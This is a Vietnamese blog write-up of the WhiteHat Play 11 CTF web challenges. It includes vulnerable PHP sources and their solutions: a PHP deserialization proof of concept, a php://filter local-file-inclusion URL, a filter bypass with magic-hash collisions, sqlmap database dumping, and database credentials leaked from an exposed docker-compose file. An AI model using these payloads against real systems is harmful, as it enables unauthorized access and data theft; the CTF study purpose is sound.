WhiteHat Play 11 Writeup
White Hat 11
WhiteHat 11 đã kết thúc được vài tuần (mình không nhớ nữa, quá già để nhớ rồi :^) ). Và đây là phần writeup về tất cả các web challenge. Xin lỗi vì nó không theo thứ tự ( Mình viết blog dựa trên bản mình đã note lại trong lúc làm )
Web07
View source của web07, chúng ta sẽ thấy tác giả đã để lại hint <!-- debug: GET is_debug=1 -->
để anh em có thể đọc code php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<head>
<title>
Hello 500 AEm-xiao
</title>
</head>
<body>
<center>
<h1 style="color:green;">xiao hello anh emmmmm</h1>
<h3>Join the race!!!!</h3>
</center>
<div>
<form>
Your Username:
<input name="uname" type="text" alt="uname" align="right">
Message:
<!--Here type="text" align will not work-->
<input name="mess" type="text" alt="mess" align="right">
<input type=submit >
</div>
</form>
</body>
</html>
<!-- debug: GET is_debug=1 -->
<head>
<title>
Hello 500 AEm-xiao
</title>
</head>
<body>
<center>
<h1 style="color:green;">xiao hello anh emmmmm</h1>
<h3>Join the race!!!!</h3>
<?php if(isset($_GET['uname']) && isset($_GET['mess'])){
$user = new User($_GET['uname'],$_GET['mess']);
$user->say();
}?>
</center>
<div>
<form>
Your Username:
<input name="uname" type="text" alt="uname" align="right">
Message:
<!--Here type="text" align will not work-->
<input name="mess" type="text" alt="mess" align="right">
<input type=submit >
</div>
</form>
</body>
</html>
<!-- debug: GET is_debug=1 -->
<?php
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1')
{
echo file_get_contents(__file__);
}
?>
</body>
<?php
class getFileSystem{
public function __wakeup(){
include('flag.php');
echo $flag;
}
}
class User{
public function __construct($u,$m){
$this->username = $u;
$this->message = $m;
}
public function say(){
echo "<h3 style=color:red>".$this->username." say: ".$this->message."</h3>";
}
public function __destruct(){
if ($this->message=="DucBTTBcuD"){
unserialize(base64_decode($this->username));
}
}
}
?>
</body>
Trong phần code PHP, chúng ta thấy magic function __wakeup() (Hàm được gọi khi unserialize một chuỗi thành đối tượng) sẽ include file flag.php
và in ra flag
Ở dưới là hàm check xem message có giá trị là DucBTTBcuD
không, nếu có sẽ thực hiện base64 decode và unserialize chuỗi vừa base64 decode
Từ đây não mình đã load được vector tấn công: chúng ta sẽ serialize 1 biến thuộc class getFileSystem
và base64 encode chuỗi vừa serialize, sau đó bỏ chuỗi đó vào làm tên user + thêm nội dung tin nhắn DucBTTBcuD
. Dưới đây là POC:
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class getFileSystem{
public function __wakeup(){
include('flag.php');
echo $flag;
}
}
class User{
public function __construct($u,$m){
$this->username = $u;
$this->message = $m;
}
public function say(){
echo "<h3 style=color:red>".$this->username." say: ".$this->message."</h3>";
}
public function __destruct(){
if ($this->message=="DucBTTBcuD"){
unserialize(base64_decode($this->username));
}
}
}
$a = new User("hehe","DucBTTBcuD");
$b = new getFileSystem();
echo(base64_encode(serialize($b)));
?>
Web01
Bài này là bài web đầu tiên mình gõ, nhưng lúc đấy bị lỗi triển khai nên mình thó cờ khá dễ =)) Anw, đây là cách mình gõ Web01.
Đầu tiên theo phản xạ khi tiếp cận 1 trang web, mình sử dụng dirsearch và quan sát thấy 1 đường dẫn trả về 200, đó là docker-compose.yml
Truy cập <địa chỉ ip>/docker-compose.yml
, mình được nội dung file như bên dưới
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
version: '3.7'
services:
php-env:
build: .
ports:
- '9020:80'
volumes:
- .:/var/www/html
db:
image: mysql
command: --default-authentication-plugin=mysql_native_password
restart: always
volumes:
- ./ctf.sql:/docker-entrypoint-initdb.d/ctf.sql
environment:
MYSQL_ROOT_PASSWORD: Nhat1998@
MYSQL_DATABASE: ctf
MYSQL_USER: nhat1
MYSQL_PASSWORD: ywcQo7H]TsgLj35j@
Mình để ý đến ./ctf.sql
, nghĩa là file ctf.sql đang ở thư mục gốc của trang web, thử <địa chỉ ip>/ctf.sql
,file ctf.sql đã được tải về thành công =)))
Mở file ctf.sql
ra, chúng ta có flag =))
Tóm tắt lại thì bài này
Web05
Truy cập link của web05 do ban tổ chức cung cấp, chúng ta có giao diện trang web:
Khi đăng nhập sai, người dùng sẽ được redirect đến trang source code PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
$_SESSION['login'] = False;
//checklogin
if (isset($_POST['username']) && $_POST['phone']){
if($_POST['username']=="DucBT" && $_POST['phone'] == "09xxxxxxx5"){//10^10 bruteforce?
$_SESSION['login'] = True;
}
}
//get flag
if ($_SESSION['login'] == True){
include_once 'get_flag.php';
session_destroy();
}
echo show_source("check.php", true);
?>
Bài này khá là hài, vì lúc đầu mình đã bị lú và nghĩ theo hướng type juggling (loose comparison)
Não delay 1 lúc mới đọc kĩ code và giải được : ( Đoạn code PHP sẽ so sánh giá trị username do người dùng nhập vào với chuỗi DucBT
, tương tự, đoạn code sẽ đồng thời so sánh giá trị password do người dùng nhập vào với chuỗi 09xxxxxxx5
, nếu cả 2 so sánh thỏa mãn sẽ trả về flag. Việc của chúng ta là chỉ cần nhập vào 2 giá trị DucBT
và 09xxxxxxx5
(Lú như T nú)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Flag: WhiteHat{Pe0ple_m4ke_it_complicated} <?php
session_start();
$_SESSION['login'] = False;
//checklogin
if (isset($_POST['username']) && $_POST['phone']){
if($_POST['username']=="DucBT" && $_POST['phone'] == "09xxxxxxx5"){//10^10 bruteforce?
$_SESSION['login'] = True;
}
}
//get flag
if ($_SESSION['login'] == True){
include_once 'get_flag.php';
session_destroy();
}
echo show_source("check.php", true);
?>
Web03
Web03 chỉ là bài warmup =)) Tất cả việc cần làm là view source và copy flag 🦝
1
WhiteHat{N0nG_NhU_th3_n4y_th1_l4M_s40_Ph41_M4c}
Web08
Giao diện của web08
Web08 có source code PHP như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['input'])) {
$input = $_GET['input'];
$to_replace = 'DucBTTPA';
$clean_string = preg_replace("/$to_replace/", '', $input);
echo "<p>Your string is: $clean_string</p>";
if ($clean_string === $to_replace) {
if(isset($_GET['input2']) && isset($_GET['input3'])){
$input2 =$_GET['input2'];
$input3 =$_GET['input3'];
if($input2!==$input3 && hash("sha256",$input2)==hash("sha256",$input3)){
echo "<h2 class=\"answer\"><span style=\"color: green;\">Yesssss</span></h2>";
echo $flag;
}
}
} else {
echo "<h2 class=\"answer\"><span style=\"color: red;\">Nooooo </span></h2>";
}
}
?>
Đoạn code sẽ thực hiện thay loại bỏ chuỗi DucBTTPA
trong chuỗi đầu vào của người dùng và tiếp tục so sánh đầu vào của người dùng với chuỗi cần loại bỏ DucBTTPA
( Nghe trái khoáy vl (●’◡’●) ). Nếu chuỗi bị loại bỏ vẫn còn tồn tại thì sẽ tiếp tục đi vào 1 đoạn if nữa mà mình sẽ giải thích ở dưới. Bây giờ tập trung vào pass được điều kiện của câu if đầu tiên 🦝 Đơn giản để thấy đoạn code thực hiện loại bỏ chuỗi DucBTTPA
chỉ thực hiện loại bỏ 1 lần chuỗi cần loại bỏ, cho nên bypass rất dễ bằng cách nhập vào chuỗi DucBTDucBTTPATPA
, vì chỉ loại bỏ 1 lần nên chuỗi sau khi loại bỏ sẽ vẫn là chuỗi DucBTTPA
Hoặc có thể nhập chuỗi như hình dưới, kết quả tương tự
Tiếp theo, đoạn code sẽ thực hiện check input2 và input3 là giá trị đầu vào do người dùng cung cấp, nếu giá băm bằng thuật toán SHA-256 của 2 chuỗi giống nhau thì sẽ trả về flag
Mình sử dụng magic hashes ( Đại loại là những chuỗi khác nhau nhưng sẽ cùng cho ra 1 giá trị băm (Keyword hash collision
cho bạn nào muốn research thêm :3 ) List các magic hashes mình để ở đây: hashes/sha256.md at master · spaze/hashes (github.com)
Sau khi cung cấp đầu vào input1, input2 là các chuỗi magic hash, chúng ta sẽ có flag ╰(°▽°)╯
1
http://192.81.209.60:8844/?input=DuDucBTTPAcBTTPA&input2=34250003024812&input3=TyNOQHUS
Web04
Giao diện của Web04, chức năng đơn giản trên trang web là bạn nhấn vào 1 trong 5 địa chỉ, trang web sẽ render ra 1 tấm ảnh về địa chỉ đấy
Để ý URL của trang web có dạng http://<địa chỉ ip>/index.php?gif=<Tên địa chỉ>
mình đã nghỉ đến Path Traversal, nhưng thử 1 hồi không ra và 1 người anh đáng mến đã gợi ý cho mình về 1 kỹ thuật mà mình lãng quên PHP Wrapper
.Sử dụng php://filter/convert.base64-encode/resource=index
để lấy source code của trang index.php dưới dạng base64
1
http://164.92.81.231:8004/index.php?gif=php://filter/convert.base64-encode/resource=index
Trang web trả về chuỗi base64
1
PGh0bWw+DQo8dGl0bGU+U2VsZWN0IFRyaXA8L3RpdGxlPg0KPGJvZHk+DQoNCgkNCjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iZHVjYnQuY3NzIj4NCjxoMSBzdHlsZT0iZm9udC1mYW1pbHk6IGN1cnNpdmU7Ij5TZWxlY3QgbTMuLjwvaDE+DQo8Zm9ybSBhY3Rpb249ImluZGV4LnBocCIgbWV0aG9kPSdnZXQnIG5hbWU9IiIgID4NCgk8ZGl2IGNsYXNzPSJjb250YWluZXIiPg0KICAgIDxkaXYgY2xhc3M9InJvdyBzaGFyZS1idXR0b25zIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTggY29sLW1kLW9mZnNldC0yIj4NCiAgICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbjogYXV0bzsiPg0KICAgICAgICAgCSAgIDx1bCA+DQogICAgICAgICAgICAgICAgPGxpID4NCiAgICAgICAgICAgICAgICAgICAgPGgxPjB4Nzg8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24iIHR5cGU9InN1Ym1pdCIgbmFtZT0nZ2lmJyB2YWx1ZT0nY290byc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtZ2l0aHViIj48L2k+DQogICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBDw7QgVMO0DQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHgxMTE8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJibHVlIGJ1dHRvbiIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdjb25kYW8nPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhIGZhLXR3aXR0ZXIiPjwvaT4NCiAgICAgICANCiAgICAgICAgICAgICAgICAgICAgIEPDtG4gxJDhuqNvDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHgxMTE8L2gxPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gcGluayIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdreWNvJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1waW50ZXJlc3QiPjwvaT4NCiAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICBL4buzIENvDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICA8aDE+MHg5ODwvaDE+DQogICAgICAgICAgICAgICAgICAgIDxidXR0b24gY2xhc3M9ImJ1dHRvbiBncmVlbiIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdob2NvYyc+DQogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtdmluZSI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBOaGEgVHJhbmcNCiAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+DQogICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgIDxoMT4weDMzPC9oMT4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIHJlZCIgdHlwZT0ic3VibWl0IiBuYW1lPSdnaWYnIHZhbHVlPSdwaHVxdW9jJz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1nb29nbGUtcGx1cyI+PC9pPg0KICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgIFBow7ogUXXhu5FjDQogICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICA8L3VsPg0KICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQo8L2Zvcm0+DQo8L2JvZHk+DQoNCjwvaHRtbD4NCjw/cGhwDQoJZXJyb3JfcmVwb3J0aW5nKDApOw0KCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQoJJGNob249Jyc7DQoJaWYoaXNzZXQoJF9HRVRbJ2dpZiddKSl7DQoNCgkJJGNob24gPSAkX0dFVFsnZ2lmJ107DQoJfQ0KCWlmKCRjaG9uID09ICJwbGF5MTFmaXgiKXsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygieG54eC50eHQiKTsNCgl9DQoJZWxzZQ0KCXsNCgkJaW5jbHVkZSgkY2hvbi4iLnBocCIpOw0KCX0JDQo/Pg0K
Sử dụng Cyberchef để decode, chúng ta được source của trang web
Full source cho bạn nào muốn dựng lab lại ☆: .。. o(≧▽≦)o .。.:☆
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<html>
<title>Select Trip</title>
<body>
<link rel="stylesheet" href="ducbt.css">
<h1 style="font-family: cursive;">Select m3..</h1>
<form action="index.php" method='get' name="" >
<div class="container">
<div class="row share-buttons">
<div class="col-md-8 col-md-offset-2">
<div style="margin: auto;">
<ul >
<li >
<h1>0x78</h1>
<button class="button" type="submit" name='gif' value='coto'>
<i class="fa fa-github"></i>
Cô Tô
</button>
</li>
<li>
<h1>0x111</h1>
<button class="blue button" type="submit" name='gif' value='condao'>
<i class="fa fa-twitter"></i>
Côn Đảo
</button>
</li>
<li>
<h1>0x111</h1>
<button class="button pink" type="submit" name='gif' value='kyco'>
<i class="fa fa-pinterest"></i>
Kỳ Co
</button>
</li>
<li>
<h1>0x98</h1>
<button class="button green" type="submit" name='gif' value='hococ'>
<i class="fa fa-vine"></i>
Nha Trang
</button>
</li>
<li>
<h1>0x33</h1>
<button class="button red" type="submit" name='gif' value='phuquoc'>
<i class="fa fa-google-plus"></i>
Phú Quốc
</button>
</li>
</ul>
</div>
</div>
</div>
</div>
</form>
</body>
</html>
<?php
error_reporting(0);
ini_set('display_errors', 0);
$chon='';
if(isset($_GET['gif'])){
$chon = $_GET['gif'];
}
if($chon == "play11fix"){
echo file_get_contents("xnxx.txt");
}
else
{
include($chon.".php");
}
?>
Source code PHP có đoạn code check, nếu giá trị đầu vào do người dùng nhập là play11fix
thì sẽ lấy ra nội dung file ích nờ xx chấm txt
.Sau khi nhập vào chúng ta sẽ được flag 🦝
WhiteHat{B3@ut1ful_B3@ch_D3st1n@t10ns_1n_V13tn@m}
Web06
Web06 mình không note hay screenshot nhiều tại vì mình làm với tâm trạng cay cú =))) (vì thế đã đấm nó bằng sqlmap, xin lỗi nếu làm ảnh hưởng đến trải nghiệm duyệt web và chơi ctf của các bạn :^ )
Ok, test với sqlmap mình lấy được tên database public
, bảng pokemon
và biết được có tổng cộng 899 bản ghi trong bảng pokemon
.
Nhưng trên web chỉ hiển thị 898 pokemon, thể nên mình sử dụng sqlmap để dump ra con pokemon có id=899
Và đây là con hàng thứ 899, flag của bài này, cũng là bài duy nhất trong web challenge mà mình chưa thó được flag
Bonus thêm 1 bài misc mà mình không nghĩ sẽ giải ra bằng cách này, lại 1 lần nữa, anh Bảnh thốt lên
Cảm ơn WhiteHat đã tổ chức giải CTF lần này, cũng vừa đúng dịp để mình kiểm tra xem bản thân đã học và làm được những gì ╰(°▽°)╯. Shout out to những người anh em xương máu ╰(°▽°)╯